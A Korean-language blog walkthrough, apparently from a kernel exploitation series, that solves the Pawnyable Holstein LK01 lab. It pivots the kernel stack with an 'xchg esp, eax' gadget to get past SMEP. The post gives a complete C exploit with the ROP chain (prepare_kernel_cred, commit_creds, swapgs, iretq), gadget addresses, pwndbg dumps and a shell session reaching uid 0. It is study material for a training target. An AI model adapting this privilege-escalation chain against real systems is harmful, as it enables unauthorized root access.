서론
앞선 글에서는 mov esp gadget을 활용하여 stack pivoting을 해보았다.
2023.09.08 - [Kernel Exploit] - Kernel - stack pivoting #1 - with mov esp.
이번에는 xchg gadget으로 해보자.
문제 환경
pwnyable 기본 커널로 한다.
1. 환경설정
vmlinux 추출, 분석 및 취약점이 모두 앞과 동일하다.
2023.08.27 - [Kernel Exploit] - kernel - ret2usr
여기에 아래와 같이 smep와 디버깅을 위한 -s만 추가해줬다.
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
-no-reboot \
-cpu qemu64,smep \
-smp 1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user \
-s
2. payload 작성 준비
앞과 동일하며 gadget부터 찾아보자.
2.1 gadget 찾기.
마찬가지로 vmlinux 파일에서 찾는다.
이번에는 xchg gadget이다.
수 많은 gadget이 나오지만, 가장 간단한 xchg esp, eax ; ret을 사용했다.
더불어 eax를 컨트롤할 수 있는 pop rax ; ret을 추가했다.
#define xchg 0xffffffff81089290; //xchg esp, eax ; ret
#define rax 0xffffffff81022741; //pop rax ; ret
3. payload 작성 및 exploit - with xchg esp,
//gcc -static -o exp exp.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define prepare_kernel_cred 0xffffffff8106e240;
#define commit_creds 0xffffffff8106e390;
#define rdi 0xffffffff8127bbdc; //pop rdi ; ret
#define mov_rdi_rax 0xffffffff8160c96b; // mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; ret
#define swapgs 0xffffffff8160bf7e; //swapgs ; ret
#define iretq 0xffffffff810202af;
#define rcx 0xffffffff8132cdd3; //pop rcx ; ret
#define rax 0xffffffff81022741; //pop rax ; ret
#define xchg 0xffffffff81089290; //xchg esp, eax ; ret
static void win() {
puts("[+] win!");
execl("/bin/sh", "sh", NULL);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags));
}
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
save_state();
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");
char buf[0x500];
memset(buf, 'A', 0x408);
unsigned long *add = (unsigned long*)&buf[0x408];
*add++ = rax;
*add++ = 0xdead0000;
*add++ = xchg;
unsigned long *chain = mmap((void *)0xdead0000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off = 0x1000 / 8 - 1;
*chain++ = 0xdeadbeef;
chain[off++] = rdi;
chain[off++] = 0;
chain[off++] = prepare_kernel_cred;
chain[off++] = rcx;
chain[off++] = 0;
chain[off++] = mov_rdi_rax;
chain[off++] = commit_creds;
chain[off++] = swapgs; //여기부터 restore_state 함수의 역할과 동일함.
chain[off++] = iretq;
chain[off++] = (unsigned long)&win;
chain[off++] = user_cs;
chain[off++] = user_rflags;
chain[off++] = user_rsp;
chain[off++] = user_ss;
write(fd, buf, 0x500);
close(fd);
return 0;
}
동일하게 페이로드를 설명하자면,
buf 변수의 마지막에 pop rax 가젯, 넣을 주소, xchg esp, eax를 넣어 module_write 함수의 ret을 임의 주소로 변경하였다.
이후 mmap을 통해 0xdead0000- 0x1000부터 0x2000을 새로 할당하고,
0xdeacf000에 0xdeadbeef를 넣고
0xdead0000에 payload들을 넣었다.
그럼 아래와 같이 module_write ret에서 명령어가 실행되고,
0xffffffff81022741 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────────────────────── RAX 0x500
RBX 0xffff88800316d100 ◂— 0x0
RCX 0x0
RDX 0x7f
RDI 0xffff888003298400 —▸ 0xffffffff81d0feeb ◂— 'sections'
RSI 0xffffc90000433ea8 ◂— 0x4141414141414141 ('AAAAAAAA')
R8 0xffffffff81ea4608 ◂— 0xc0000000ffffefff
R9 0x4ffb
R10 0xfffff000
R11 0x3fffffffffffffff
R12 0x500
R13 0x0
R14 0x7ffcd762a960 ◂— 0x4141414141414141 ('AAAAAAAA')
R15 0xffffc90000433ef8 ◂— 0x0
RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0xffffc90000433eb8 —▸ 0xdead0000 ◂— 0
*RIP 0xffffffff81022741 ◂— popq %rax
───────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────────────────── 0xffffffffc000020d leave
0xffffffffc000020e retq
↓
► 0xffffffff81022741 popq %rax
0xffffffff81022742 retq
↓
0xffffffff81089290 xchgl %eax, %esp
0xffffffff81089291 retq
이후 변경된 rsp와 stack의 값은 아래와 같아진다.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────────────────────
RAX 0x500
RBX 0xffff888002695e00 ◂— 0x0
RCX 0x0
RDX 0x7f
RDI 0xffff8880032a2800 —▸ 0xffffffff81d2568a ◂— 0x7500746e65766575 /* 'uevent' */
RSI 0xffffc90000453ea8 ◂— 0x4141414141414141 ('AAAAAAAA')
R8 0xffffffff81ea4608 ◂— 0xc0000000ffffefff
R9 0x4ffb
R10 0xfffff000
R11 0x3fffffffffffffff
R12 0x500
R13 0x0
R14 0x7ffcb9c986e0 ◂— 0x4141414141414141 ('AAAAAAAA')
R15 0xffffc90000453ef8 ◂— 0x0
RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0xf6000000 —▸ 0xffffffff8127bbdc ◂— popq %rdi
*RIP 0xffffffff81507c3e ◂— retq
───────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────────
0xffffffffc000020e retq
↓
0xffffffff81507c39 movl $0xf6000000, %esp
► 0xffffffff81507c3e retq <0xffffffff8127bbdc>
↓
0xffffffff8127bbdc popq %rdi
0xffffffff8127bbdd retq
↓
0xffffffff8106e240 pushq %rbp
0xffffffff8106e241 movl $0xcc0, %esi
0xffffffff8106e246 movq %rsp, %rbp
0xffffffff8106e249 pushq %r13
0xffffffff8106e24b movq %rdi, %r13
0xffffffff8106e24e movq 0xf894db(%rip), %rdi
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0xf6000000 —▸ 0xffffffff8127bbdc ◂— popq %rdi
01:0008│ 0xf6000008 ◂— 0
02:0010│ 0xf6000010 —▸ 0xffffffff8106e240 ◂— pushq %rbp
03:0018│ 0xf6000018 —▸ 0xffffffff8132cdd3 ◂— popq %rcx
04:0020│ 0xf6000020 ◂— 0
05:0028│ 0xf6000028 —▸ 0xffffffff8160c96b ◂— movq %rax, %rdi
06:0030│ 0xf6000030 —▸ 0xffffffff8106e390 ◂— pushq %rbp
07:0038│ 0xf6000038 —▸ 0xffffffff8160bf7e ◂— swapgs
───────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0xffffffff81507c3e
1 0xffffffff8127bbdc
2 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10gx $rsp
0xf6000000: 0xffffffff8127bbdc 0x0000000000000000
0xf6000010: 0xffffffff8106e240 0xffffffff8132cdd3
0xf6000020: 0x0000000000000000 0xffffffff8160c96b
0xf6000030: 0xffffffff8106e390 0xffffffff8160bf7e
0xf6000040: 0xffffffff810202af 0x00000000004017d5
xchg 명령을 거쳐 eax와 esp가 바뀐 것을 볼 수 있다.
pwndbg>
0xffffffff81089291 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────────────────────
*RAX 0x433ec8 ◂— addq $0x10, %rcx
RBX 0xffff88800316d100 ◂— 0x0
RCX 0x0
RDX 0x7f
RDI 0xffff888003298400 —▸ 0xffffffff81d0feeb ◂— 'sections'
RSI 0xffffc90000433ea8 ◂— 0x4141414141414141 ('AAAAAAAA')
R8 0xffffffff81ea4608 ◂— 0xc0000000ffffefff
R9 0x4ffb
R10 0xfffff000
R11 0x3fffffffffffffff
R12 0x500
R13 0x0
R14 0x7ffcd762a960 ◂— 0x4141414141414141 ('AAAAAAAA')
R15 0xffffc90000433ef8 ◂— 0x0
RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0xdead0000 ◂— 0
*RIP 0xffffffff81089291 ◂— retq
───────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────────
0xffffffffc000020d leave
0xffffffffc000020e retq
↓
0xffffffff81022741 popq %rax
0xffffffff81022742 retq
↓
0xffffffff81089290 xchgl %eax, %esp
► 0xffffffff81089291 retq <0>
계속 진행해 본 결과!
[ Holstein v1 (LK01) - Pawnyable ]
/ $ id
uid=1337 gid=1337 groups=1337
/ $ ./payload
[+] win!
/ # id
uid=0(root) gid=0(root)
/ #
성공~!
4. 유의사항
마찬가지로 mmap을 통해 공간을 새로 할당할 시 앞쪽 공간에 값을 쓰는 것을 잊지 말자.
'Kernel Exploit' 카테고리의 다른 글
Kernel - SMAP 우회, krop (간단 글) (0) | 2023.09.10 |
---|---|
kernel exploit helper - gdb, cpio 압축 및 압축해제, 컴파일 (0) | 2023.09.09 |
Kernel - stack pivoting #1 - with mov esp. (0) | 2023.09.08 |
Kernel - SMEP 우회, cr4 overwrite #2 (0) | 2023.09.08 |
Kernel - SMEP 우회, cr4 overwrite (0) | 2023.09.08 |